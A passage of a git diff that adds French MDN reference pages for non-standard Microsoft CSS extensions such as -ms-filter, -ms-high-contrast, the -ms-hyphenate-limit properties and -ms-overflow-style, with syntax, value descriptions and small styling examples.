+<h2 id="Exemples">Exemples</h2>
+
+<p>L'exemple suivant illustre comment utiliser la propriété <code>-ms-filter</code> dans Internet Explorer 8.</p>
+
+<pre class="brush: css">-ms-filter: 'progid:DXImageTransform.Microsoft.MotionBlur(strength=50), progid:DXImageTransform.Microsoft.BasicImage(mirror=1)';
+</pre>
+
+<p>L'exemple suivant illustre comment utiliser un style en incise pour appliquer un filtre sur une image.</p>
+
+<pre class="brush: html">&lt;img style="filter:progid:DXImageTransform.Microsoft.MotionBlur(strength=50)
+    progid:DXImageTransform.Microsoft.BasicImage(mirror=1)"
+    src="/workshop/samples/author/dhtml/graphics/cone.jpg"
+    height="80px" width="80px" alt="cone"&gt;
+</pre>
+
+<p>Dans l'exemple suivant, on voit comment utiliser les API scriptées pour définir un filtre sur une image.</p>
+
+<pre class="brush: html">&lt;body&gt;
+  &lt;p&gt;Click the image to start the filter.&lt;/p&gt;
+  // Call the function.
+  &lt;div id="filterFrom"
+      style="position: absolute;
+            width: 200px;
+            height: 250px;
+            background-color: white;
+            filter: revealTrans()"&gt;
+    &lt;img id="imageFrom"
+         style="position: absolute;
+                top: 20px;
+                left: 20px;"
+                src="sphere.jpg"
+                alt="sphere"&gt;
+    &lt;div id="filterTo"
+         style="position: absolute;
+                width: 200px;
+                height: 250px;
+                top: 20px;
+                left: 20px;
+                background: white;
+                visibility: hidden;"&gt;
+    &lt;/div&gt;
+  &lt;/div&gt;
+  &lt;script type="text/javascript"&gt;
+  let filterImg = document.querySelector('#filterFrom');
+  filterImg.addEventListener('click', doFilter);
+
+  function doFilter () {
+    filterFrom.filters.item(0).Apply(); // 12 is the dissolve filter.
+    filterFrom.filters.item(0).Transition=12;
+    imageFrom.style.visibility = "hidden";
+    filterTo.style.visibility = "";
+    filterFrom.filters.item(0).play(14);
+  }
+  &lt;/script&gt;
+&lt;/body&gt;
+</pre>
+
+<h3 id="Dégradé">Dégradé</h3>
+
+<pre class="syntaxbox">progid:DXImageTransform.Microsoft.Gradient( <a href="#Gradient-Properties">&lt;properties&gt;</a> )
+
+où
+&lt;properties&gt; = <a href="/en-US/docs/CSS/Value_definition_syntax#Brackets">[</a> <a href="#Gradient-Enabled">&lt;Enabled&gt;</a> <a href="/en-US/docs/CSS/Value_definition_syntax#Single_bar">|</a> <a href="#Gradient-EndColor">&lt;EndColor&gt;</a> <a href="/en-US/docs/CSS/Value_definition_syntax#Single_bar">|</a> <a href="#Gradient-EndColorStr">&lt;EndColorStr&gt;</a> <a href="/en-US/docs/CSS/Value_definition_syntax#Single_bar">|</a> <a href="#Gradient-GradientType">&lt;GradientType&gt;</a> <a href="/en-US/docs/CSS/Value_definition_syntax#Single_bar">|</a> <a href="#Gradient-StartColor">&lt;StartColor&gt;</a> <a href="/en-US/docs/CSS/Value_definition_syntax#Single_bar">|</a> <a href="#Gradient-StartColorStr">&lt;StartColorStr&gt;</a> <a href="/en-US/docs/CSS/Value_definition_syntax#Brackets">]</a><a href="/en-US/docs/Web/CSS/Value_definition_syntax#Hash_mark_()">#</a>
+
+où
+&lt;Enabled&gt; = 'Enabled=' <a href="/en-US/docs/CSS/Value_definition_syntax#Brackets">[</a> true <a href="/en-US/docs/CSS/Value_definition_syntax#Single_bar">|</a> false <a href="/en-US/docs/CSS/Value_definition_syntax#Brackets">]</a>
+&lt;EndColor&gt; = 'StartColor=' {{CSSxRef("&lt;color&gt;")}}
+&lt;EndColorStr&gt; = 'StartColorStr=' {{CSSxRef("&lt;color&gt;")}}
+&lt;GradientType&gt; = 'GradientType=' {{CSSxRef("&lt;integer&gt;")}}
+&lt;StartColor&gt; = 'StartColor=' {{CSSxRef("&lt;color&gt;")}}
+&lt;StartColorStr&gt; = 'StartColorStr=' {{CSSxRef("&lt;color&gt;")}}
+</pre>
+
+<dl>
+ <dt><code>Enabled</code></dt>
+ <dd><strong>Valeur par défaut :</strong> <code>true</code><br>
+ Utiliser <code>false</code> pour désactiver le dégradé.</dd>
+ <dt><code>EndColor</code></dt>
+ <dd>La couleur pour la fin du dégradé, seules les couleurs opaques (utilisant la notation <code>#RRGGBB</code>) sont prises en charge.</dd>
+ <dt><code>EndColorStr</code></dt>
+ <dd>La couleur pour la fin du dégradé avec une prise en charge des couleurs opaques avec la notation <code>#RRGGBB</code> et une prise en charge des couleurs avec la notation <code>#AARRGGBB</code>.</dd>
+ <dt><code>GradientType</code></dt>
+ <dd><strong>Valeur par défaut :</strong> <code>0</code> (ce qui est équivalent à {{CSSxRef("linear-gradient",'linear-gradient(to bottom, …)')}})<br>
+ Toute valeur non nulle rendra le dégradé horizontal (équivalent à {{CSSxRef("linear-gradient",'linear-gradient(to right, …)')}})</dd>
+ <dt><code>StartColor</code></dt>
+ <dd>La couleur pour le début du dégradé, seules les couleurs opaques (utilisant la notation <code>#RRGGBB</code>) sont prises en charge.</dd>
+ <dt><code>StartColorStr</code></dt>
+ <dd>La couleur pour le début du dégradé avec une prise en charge des couleurs opaques avec la notation <code>#RRGGBB</code> et une prise en charge des couleurs avec la notation <code>#AARRGGBB</code>.</dd>
+</dl>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;div class="gradient horizontal"&gt;&lt;/div&gt;
+&lt;div class="gradient vertical"&gt;&lt;/div&gt;
+</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<div class="hidden">
+<pre class="brush: css">html, body {
+  overflow-x: hidden;
+  max-width: 100vw;
+}
+
+.gradient {
+  width: 100vw;
+  height: 60px;
+  height: 50vh;
+}</pre>
+</div>
+
+<pre class="brush: css">.gradient.horizontal {
+  -ms-filter: 'progid:DXImageTransform.Microsoft.Gradient(startColorStr="#ffffff", endColorStr="#000000", GradientType=1)';
+  background-image: linear-gradient(to right, #ffffff 0%, #000000 100%);
+}
+
+.gradient.vertical {
+  -ms-filter: 'progid:DXImageTransform.Microsoft.Gradient(startColorStr="#ffffff", endColorStr="#000000", GradientType=0)';
+  background-image: linear-gradient(to bottom, #ffffff 0%, #000000 100%);
+}
+</pre>
+
+<h4 id="Résultat">Résultat</h4>
+
+<p>{{EmbedLiveSample("Dégradé","100%","120")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Cette propriété est une propriété spécifique à Microsoft, ne doit pas être utilisée sur le Web et ne fait partie d'aucune spécification.</p>
+
+<p>{{CSSInfo("-ms-filter")}}</p>
+
+<h2 id="Notes">Notes</h2>
+
+<p>Le tableau suivant énumère les différents filtres DX spécifiques qui étaient fréquemment utilisés, avec leur équivalent en CSS standard :</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Nom du filtre DX</th>
+   <th scope="col">Alternative standard</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>Alpha</code></td>
+   <td>{{CSSxRef("opacity")}}</td>
+  </tr>
+  <tr>
+   <td><code>AlphaImageLoader</code></td>
+   <td>{{HTMLElement("img")}} ou {{CSSxRef("background-image")}} et les propriétés associées</td>
+  </tr>
+  <tr>
+   <td><code><a href="https://docs.microsoft.com/en-us/previous-versions/windows/internet-explorer/ie-developer/platform-apis/ms532997(v=vs.85)">Gradient</a></code></td>
+   <td><code>{{CSSxRef("background-image")}}: {{CSSxRef("linear-gradient")}}</code></td>
+  </tr>
+  <tr>
+   <td><code>DropShadow</code></td>
+   <td>{{CSSxRef("text-shadow")}} ou {{CSSxRef("box-shadow")}}</td>
+  </tr>
+  <tr>
+   <td><code>Matrix</code></td>
+   <td>{{CSSxRef("transform")}}, {{CSSxRef("transform-origin")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Pour Windows Internet Explorer 8, la propriété <code style="white-space: nowrap;">-ms-filter</code> est une extension à CSS et peut être utilisée comme synonyme de {{CSSxRef("filter")}} en mode standard IE8.</p>
+
+<p>Un objet doit avoir une disposition où afficher le filtre. Pour cela, on pourra fournir une hauteur et une largeur à l'élément grâce aux propriétés {{CSSxRef("height")}} et {{CSSxRef("width")}}.</p>
+
+<p>Le filtre d'ombre peut être appliqué à un objet {{HTMLElement("img")}} en paramétrant le filtre sur le conteneur de l'image.</p>
diff --git a/files/fr/web/css/-ms-flow-from/index.html b/files/fr/web/css/-ms-flow-from/index.html
new file mode 100644
index 0000000000..30218bc85d
--- /dev/null
+++ b/files/fr/web/css/-ms-flow-from/index.html
@@ -0,0 +1,40 @@
+---
+title: '-ms-flow-from'
+slug: Web/CSS/-ms-flow-from
+tags:
+  - CSS
+  - Non-standard
+  - Propriété
+  - Reference
+translation_of: Archive/Web/CSS/-ms-flow-from
+---
+<div>{{CSSRef}}{{Non-standard_header}}</div>
+
+<p>La propriété CSS <code><strong>-ms-flow-from</strong></code> est une propriété spécifique de <a href="/fr/docs/Web/CSS/Extensions_CSS_Microsoft">Microsoft</a> qui permet d'obtenir ou de définir une valeur identifiant un conteneur {{HTMLElement("iframe")}} du document et qui reçoit du contenu d'une  source de données.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>La propriété <code>-ms-flow-from</code> est définie grâce à l'une des valeurs suivantes.</p>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>none</code></dt>
+ <dd>
+ <p>La valeur par défaut. Aucun conteneur n'est indiqué.</p>
+ </dd>
+ <dt><a id="&lt;custom-ident>"></a>{{cssxref("&lt;custom-ident&gt;")}}</dt>
+ <dd>
+ <p>Le nom du conteneur de région.</p>
+ </dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Cette propriété ne fait partie d'aucune spécification.</p>
+
+<p>{{cssinfo}}</p>
diff --git a/files/fr/web/css/-ms-flow-into/index.html b/files/fr/web/css/-ms-flow-into/index.html
new file mode 100644
index 0000000000..fc3e6d0e43
--- /dev/null
+++ b/files/fr/web/css/-ms-flow-into/index.html
@@ -0,0 +1,40 @@
+---
+title: '-ms-flow-into'
+slug: Web/CSS/-ms-flow-into
+tags:
+  - CSS
+  - Non-standard
+  - Propriété
+  - Reference
+translation_of: Archive/Web/CSS/-ms-flow-into
+---
+<div>{{CSSRef}}{{Non-standard_header}}</div>
+
+<p>La propriété CSS <code><strong>-ms-flow-into</strong></code> est une propriété spécifique de <a href="/fr/docs/Web/CSS/Extensions_CSS_Microsoft">Microsoft extension</a> qui permet d'obtenir ou de définir une valeur identifiant un conteneur {{HTMLElement("iframe")}} du document et qui sert de source de données à la région.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>La propriété <strong><code>-ms-flow-into</code></strong> est définie grâce à l'une des valeurs suivantes.</p>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>none</code></dt>
+ <dd>
+ <p>La valeur par défaut. Aucun conteneur n'est indiqué.</p>
+ </dd>
+ <dt><a id="&lt;custom-ident>"></a>{{cssxref("&lt;custom-ident&gt;")}}</dt>
+ <dd>
+ <p>Le nom du conteneur de région.</p>
+ </dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Cette propriété ne fait partie d'aucune spécification.</p>
+
+<p>{{cssinfo}}</p>
diff --git a/files/fr/web/css/-ms-high-contrast-adjust/index.html b/files/fr/web/css/-ms-high-contrast-adjust/index.html
new file mode 100644
index 0000000000..255065c35e
--- /dev/null
+++ b/files/fr/web/css/-ms-high-contrast-adjust/index.html
@@ -0,0 +1,44 @@
+---
+title: '-ms-high-contrast-adjust'
+slug: Web/CSS/-ms-high-contrast-adjust
+tags:
+  - CSS
+  - Non-standard
+  - Propriété
+  - Reference
+translation_of: Archive/Web/CSS/-ms-high-contrast-adjust
+---
+<div>{{CSSRef}}{{Non-standard_header}}</div>
+
+<p>La propriété CSS <code><strong>-ms-high-contrast-adjust</strong></code> est une <a href="/fr/docs/Web/CSS/Extensions_CSS_Microsoft">propriété spécifique à Microsoft</a> qui permet de récupérer ou de définir une valeur qui indique s'il faut surcharger des propriétés CSS qui auraient été définies pour un mode de contraste élevé.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>La propriété <strong><code>-ms-high-contrast-adjust</code></strong> est définie avec l'une des valeurs suivantes.</p>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>auto</code></dt>
+ <dd>
+ <p>Cet mot-clé indique que les propriétés CSS applicables seront ajustées comme souhaité lorsque le système utilisera un mode de contraste élevé.</p>
+ </dd>
+ <dt><code>none</code></dt>
+ <dd>
+ <p>Cet mot-clé indique que les propriétés CSS applicables ne seront pas ajustées lorsque le système utilisera un mode de contraste élevé.</p>
+ </dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Cette propriété est une propriété spécifique et n'est décrite dans aucune spécification.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Notes">Notes</h2>
+
+<p>La propriété <code><strong>-ms-high-contrast-adjust</strong></code> fonctionne avec la caractéristique média {{cssxref("-ms-high-contrast")}}.</p>
diff --git a/files/fr/web/css/-ms-high-contrast/index.html b/files/fr/web/css/-ms-high-contrast/index.html
new file mode 100644
index 0000000000..e9aef6fa8e
--- /dev/null
+++ b/files/fr/web/css/-ms-high-contrast/index.html
@@ -0,0 +1,71 @@
+---
+title: '-ms-high-contrast'
+slug: Web/CSS/-ms-high-contrast
+tags:
+  - '@media'
+  - CSS
+  - Caractéristique média
+  - Non-standard
+  - Reference
+translation_of: Web/CSS/@media/-ms-high-contrast
+---
+<div>{{CSSRef}}{{Non-standard_header}}</div>
+
+<p>La <a href="/fr/docs/Web/CSS/Requêtes_média/Utiliser_les_Media_queries#Cibler_des_caractéristiques_média">caractéristique média</a> <code><strong>-ms-high-contrast</strong></code>, relative à la règle @ <code><a href="/fr/docs/Web/CSS/@media">@media</a></code>, est une <a href="/en-US/docs/Web/CSS/Microsoft_CSS_extensions">extension Microsoft </a>qui décrit si l'application est affichée dans un mode de contraste élevé et, si c'est le cas, quelle est la variation de couleur affichée.</p>
+
+<p>Cette caractéristique média s'applique aux média de type matriciel (<em>bitmap</em>). Elle ne gère pas les préfixes <code>min</code> et <code>max</code>.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>La caractéristique média <strong><code>-ms-high-contrast</code></strong> est définie avec une des valeurs définies ci-après.</p>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>active</code></dt>
+ <dd>
+ <p>Cette valeur indique que les règles de mise en forme qui suivent sont appliquées lorsque le système utilise un affichage avec contraste élevé, quel que soit la variation de couleur.</p>
+ </dd>
+ <dt><code>none</code>{{deprecated_inline}}</dt>
+ <dd>Cette valeur n'est plus prise en charge par Edge.</dd>
+ <dt><code>black-on-white</code></dt>
+ <dd>
+ <p>Cette valeur indique que les règles de mise en forme qui suivent sont appliquées lorsque le système utilise un affichage avec contraste élevé en noir sur blanc.</p>
+ </dd>
+ <dt><code>white-on-black</code></dt>
+ <dd>
+ <p>Cette valeur indique que les règles de mise en forme qui suivent sont appliquées lorsque le système utilise un affichage avec contraste élevé en blanc sur noir.</p>
+ </dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{CSSSyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Les déclarations suivantes s'appliqueront respectivement sur des applications utilisées avec un mode de contraste élevé, avec une variation en noir sur blanc et enfin avec une variation en blanc sur noir.</p>
+
+<pre class="brush: css">@media screen and (-ms-high-contrast: active) {
+  /* Règles utilisées dans tous les cas si
+     le contraste élevé est utilisé */
+}
+@media screen and (-ms-high-contrast: black-on-white) {
+  div { background-image: url('image-bw.png'); }
+}
+@media screen and (-ms-high-contrast: white-on-black) {
+  div { background-image: url('image-wb.png'); }
+}
+</pre>
+
+<h2 id="Specification" name="Specification">Spécifications</h2>
+
+<p>Cette caractéristique est propre à Microsoft et n'est décrite dans aucune spécification.</p>
+
+<h2 id="Notes">Notes</h2>
+
+<p>À partir de Microsoft Edge, <code><strong>-ms-high-contrast: none</strong></code> n'est plus pris en charge.</p>
+
+<p>La caractéristique média <code><strong>-ms-high-contrast</strong></code> fonctionne avec la propriété {{cssxref("-ms-high-contrast-adjust")}}.</p>
+
+<p>La caractéristique média <code><strong>-ms-high-contrast</strong></code> a été introduite avec Windows 8.</p>
diff --git a/files/fr/web/css/-ms-hyphenate-limit-chars/index.html b/files/fr/web/css/-ms-hyphenate-limit-chars/index.html
new file mode 100644
index 0000000000..b95cc7f355
--- /dev/null
+++ b/files/fr/web/css/-ms-hyphenate-limit-chars/index.html
@@ -0,0 +1,46 @@
+---
+title: '-ms-hyphenate-limit-chars'
+slug: Web/CSS/-ms-hyphenate-limit-chars
+tags:
+  - CSS
+  - Non-standard
+  - Propriété
+  - Reference
+translation_of: Archive/Web/CSS/-ms-hyphenate-limit-chars
+---
+<div>{{CSSRef}}{{Non-standard_header}}</div>
+
+<p>La propriété CSS <code><strong>-ms-hyphenate-limit-chars</strong></code> est <a href="/fr/docs/Web/CSS/Extensions_CSS_Microsoft">une propriété spécifique à Microsoft</a> qui définit une à trois valeurs indiquant le nombre minimal de caractères utilisés pour un mot tronqué pour passer à la ligne. Si le mot n'a pas suffisamment de caractères avant ou après le passage à la ligne, aucune césure n'est appliquée sur le mot.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>La propriété <strong><code>-ms-hyphenate-limit-chars</code></strong> est définie de la façon suivante.</p>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>auto</code></dt>
+ <dd>
+ <p>Cette valeur correspond à la valeur composite <code>5 2 2</code> qui signifie que le mot doit mesurer au moins 5 caractères pour être sujet à une césure, qu'il faut au moins 2 caractères avant la césure et 2 caractères après la césure.</p>
+ </dd>
+ <dt><code>&lt;integer&gt; {1,3}</code></dt>
+ <dd>
+ <p>Une à trois valeurs entières (cf. {{cssxref("&lt;integer&gt;")}}) qui décrivent respectivement la taille minimale du mot, le nombre de caractères minimal avant la césure et le nombre de caractères minimal après la césure.</p>
+
+ <p>Lorsque la troisième valeur n'est pas indiquée, la valeur utilisée est égale à la seconde valeur.</p>
+
+ <p>Si la deuxième et troisième valeurs sont absentes, elles utilisent la même valeur que <code>auto</code>.</p>
+
+ <p>Note : il n'est pas possible d'utiliser des valeurs négatives.</p>
+ </dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Cette propriété est une propriété non-standard et ne fait partie d'aucune spécification.</p>
+
+<p>{{cssinfo}}</p>
diff --git a/files/fr/web/css/-ms-hyphenate-limit-lines/index.html b/files/fr/web/css/-ms-hyphenate-limit-lines/index.html
new file mode 100644
index 0000000000..cc6d74f543
--- /dev/null
+++ b/files/fr/web/css/-ms-hyphenate-limit-lines/index.html
@@ -0,0 +1,44 @@
+---
+title: '-ms-hyphenate-limit-lines'
+slug: Web/CSS/-ms-hyphenate-limit-lines
+tags:
+  - CSS
+  - Non-standard
+  - Propriété
+  - Reference
+translation_of: Archive/Web/CSS/-ms-hyphenate-limit-lines
+---
+<div>{{CSSRef}}{{Non-standard_header}}</div>
+
+<p>La propriété <code><strong>-ms-hyphenate-limit-lines</strong></code> est <a href="/fr/docs/Web/CSS/Extensions_CSS_Microsoft">une propriété spécifique à Microsoft</a> qui indique le nombre maximum de lignes consécutives pouvant se terminer avec un mot sur deux lignes (au sein d'un même élément).</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>La propriété <strong><code>-ms-hyphenate-limit-lines</code></strong> est définie avec l'une des valeurs suivantes.</p>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>no-limit</code></dt>
+ <dd>
+ <p>Cette valeur indique que les césures ne sont pas limitées en fonction des lignes coupées auparavant. On peut donc avoir toutes les lignes de texte de l'élément qui se terminent par une césure.</p>
+ </dd>
+ <dt><code>&lt;integer&gt;</code></dt>
+ <dd>
+ <p>Un entier (type {{cssxref("&lt;integer&gt;")}} qui indique le nombre maximal de lignes successives pouvant se terminer par une césure.</p>
+
+ <p>Si on utilise la valeur 2 (par exemple), on ne pourra pas avoir plus de deux lignes qui se suivent et pour lesquelles la fin est un mot coupé. Lorsqu'on utilise la valeur 0, cela signifie qu'aucune ligne ne peut entraîner la césure d'un de ses mots et il n'y a donc aucune césure.</p>
+
+ <p>Les valeurs négatives ne sont pas autorisées pour cette propriété.</p>
+ </dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Cette propriété est une propriété spécifique à Microsoft et ne fait partie d'aucune spécification.</p>
+
+<p>{{cssinfo}}</p>
diff --git a/files/fr/web/css/-ms-hyphenate-limit-zone/index.html b/files/fr/web/css/-ms-hyphenate-limit-zone/index.html
new file mode 100644
index 0000000000..f1cd54609e
--- /dev/null
+++ b/files/fr/web/css/-ms-hyphenate-limit-zone/index.html
@@ -0,0 +1,46 @@
+---
+title: '-ms-hyphenate-limit-zone'
+slug: Web/CSS/-ms-hyphenate-limit-zone
+tags:
+  - CSS
+  - Non-standard
+  - Propriété
+  - Reference
+translation_of: Archive/Web/CSS/-ms-hyphenate-limit-zone
+---
+<div>{{CSSRef}}{{Non-standard_header}}</div>
+
+<p>La propriété CSS <code><strong>-ms-hyphenate-limit-zone</strong></code> est <a href="/fr/docs/Web/CSS/Extensions_CSS_Microsoft">une propriété spécifique à Microsoft</a> qui indique la largeur de la zone dans laquelle on peut appliquer une césure et un trait d'union sur les mots pour passer à la ligne.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>La propriété <strong><code>-ms-hyphenate-limit-zone</code></strong> est définie avec l'une des valeurs suivantes.</p>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt>{{cssxref("percentage")}}</dt>
+ <dd>
+ <p>Un entier suivi du caractère % qui indique la taille de la zone proportionnellement à la taille de la boîte de la ligne. Les valeurs négatives ne sont pas autorisées.</p>
+ </dd>
+ <dt>{{cssxref("length")}}</dt>
+ <dd>
+ <p>Une valeur décimale suivie par une unité qui indique la largeur de la zone. Pour plus d'informations sur les valeurs possibles, voir <a href="/fr/docs/Web/CSS/Types_CSS">les types de donnée en CSS</a>. Les valeurs négatives ne sont pas autorisées.</p>
+ </dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Specification" name="Specification">Spécifications</h2>
+
+<p>Cette propriété est une propriété spécifique et n'est décrite dans aucune spécification.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Notes">Notes</h2>
+
+<p>La propriété <code><strong>-ms-hyphenate-limit-zone</strong></code> permet de contrôler le nombre de blancs autorisés pour le passage à la ligne. La zone concernée se situe toujours sur le côté logique droit de la boîte de <em>padding</em>..</p>
+
+<p>Un mot sera uniquement sujet à une césure s'il commence à l'extérieur ou à la limite gauche de la zone.</p>
diff --git a/files/fr/web/css/-ms-ime-align/index.html b/files/fr/web/css/-ms-ime-align/index.html
new file mode 100644
index 0000000000..9193fc87d2
--- /dev/null
+++ b/files/fr/web/css/-ms-ime-align/index.html
@@ -0,0 +1,48 @@
+---
+title: '-ms-ime-align'
+slug: Web/CSS/-ms-ime-align
+tags:
+  - CSS
+  - NeedsBrowserCompatibility
+  - Non-standard
+  - Propriété
+  - Reference
+translation_of: Archive/Web/CSS/-ms-ime-align
+---
+<div>{{Non-standard_header}}{{CSSRef}}</div>
+
+<p>La propriété CSS <strong><code>-ms-ime-align</code></strong> est <a href="/fr/docs/Web/CSS/Extensions_CSS_Microsoft">une propriété spécifique à Microsoft</a> qui permet d'aligner la boîte de la fenêtre pour l'<em>Input Method Editor</em> (IME) par rapport à l'élément sur lequel la composition IME est active.</p>
+
+<p>Cette extension est implémentée par Microsoft Edge et Internet Explorer 11.</p>
+
+<p>Les listes IME potentielles sont positionnées sur l'écran avec suffisamment d'espace pour permettre une saisie de texte. Dans certains cas, l'IME peut imposer une taille minimale.</p>
+
+<p>Lorsqu'on utilise <code>-ms-ime-align: after</code>, un IME pourra ajuster la fenêtre candidate et le comportement de la saisie clavier afin de permettre une meilleure ergonomie (en utilisant par exemple une liste candidate horizontale et en autorisant l'envoi de certaines touches à l'application pour les suggestions).</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: css">/* Keyword values */
+-ms-ime-align: auto;
+-ms-ime-align: after;
+</pre>
+
+<p>La propriété <strong><code>-ms-ime-align</code></strong> est définie avec l'un des mot-clés suivants.</p>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>auto</code></dt>
+ <dd>La valeur initiale. L'IME peut aligner la fenêtre candidate de n'importe quelle manière.</dd>
+ <dt><code>after</code></dt>
+ <dd>L'IME devrait essayer d'aligner la fenêtre candidate sous l'élément (pour les dispositions organisées avec un mode gauche à droite ou avec un mode droite à gauche).</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Cette propriété ne fait partie d'aucune spécification.</p>
+
+<p>{{cssinfo}}</p>
diff --git a/files/fr/web/css/-ms-overflow-style/index.html b/files/fr/web/css/-ms-overflow-style/index.html
new file mode 100644
index 0000000000..b118010d4e
--- /dev/null
+++ b/files/fr/web/css/-ms-overflow-style/index.html
@@ -0,0 +1,43 @@
+---
+title: '-ms-overflow-style'
+slug: Web/CSS/-ms-overflow-style
+tags:
+  - CSS
+  - Non-standard
+  - Propriété
+  - Reference
+translation_of: Archive/Web/CSS/-ms-overflow-style
+---
+<div>{{CSSRef}}{{Non-standard_header}}</div>
+
+<p>La propriété <strong><code>-ms-overflow-style</code></strong> est une propriété propriétaire, spécifique à Internet Explorer et Microsoft Edge qui permet de contrôler le comportement des barres de défilement lorsque le contenu d'un élément déborde.</p>
+
+<h2 id="Valeurs">Valeurs</h2>
+
+<dl>
+ <dt><code>auto</code></dt>
+ <dd>La valeur initiale. Synonyme de <code>inherit</code>.</dd>
+ <dt><code>none</code></dt>
+ <dd>Les barres de défilement ne sont jamais affichées. Si l'élément dépasse, on peut toujours le faire défiler.</dd>
+ <dt><code>scrollbar</code></dt>
+ <dd>Les barres de défilement « classiques » sont affichées si le contenu de l'élément dépasse. Les barres ne se masquent pas automatiquement et ne chevauchent jamais le contenu de l'élément. Les dimensions de la zone accordée au contenu sont réduites d'autant que nécessaire pour afficher les barres de défilement.</dd>
+ <dt><code>-ms-autohiding-scrollbar</code></dt>
+ <dd>Des barres de défilement sont utilisées si le contenu dépasse et ces barres sont automatiquement masquées. C'est-à-dire qu'elles apparaissent pendant le défilement ou peu après que le pointeur ait interagit avec l'élément. Elles se « cachent » après l'arrêt de l'interaction et/ou du défilement. Lorsqu'elles sont visbles, les barres de défilement empiètent sur le contenu de l'élément.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Cette propriété est une propriété propriétaire liée à Trident/Microsoft et ne fait partie d'aucune spécification.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{CSSxRef("scrollbar-width")}}</li>
+ <li>{{CSSxRef("::-webkit-scrollbar")}}</li>
+</ul>
diff --git a/files/fr/web/css/-ms-scroll-chaining/index.html b/files/fr/web/css/-ms-scroll-chaining/index.html
new file mode 100644
index 0000000000..f5ade6d887
--- /dev/null
+++ b/files/fr/web/css/-ms-scroll-chaining/index.html
@@ -0,0 +1,68 @@
+---
+title: '-ms-scroll-chaining'
+slug: Web/CSS/-ms-scroll-chaining
+tags:
+  - CSS
+  - Non-standard
+  - Propriété
+  - Reference
+translation_of: Archive/Web/CSS/-ms-scroll-chaining
+---
+<div>{{CSSRef}}{{Non-standard_header}}</div>
+
+<p>La propriété <code><strong>-ms-scroll-chaining</strong></code> est <a href="/en-US/docs/Web/CSS/Microsoft_extensions">une propriété spécifique à Microsoft</a> qui définit la façon dont le défilement se comporte lorsque l'utilisateur atteint la limite du défilement suite à une manipulation.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>La propriété <strong><code>-ms-scroll-chaining</code></strong> est définie avec l'une des valeurs suivantes.</p>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>chained</code></dt>
+ <dd>
+ <p>La valeur initiale. L'élément parent le plus proche commence à défiler lorsque l'utilisateur atteint la limite. Il n'y a pas d'effet de rebond.</p>
+ </dd>
+ <dt><code>none</code></dt>
+ <dd>
+ <p>Un effet de rebond est utilisé lorsque l'utilisateur atteint la limite de défilement.</p>
+ </dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
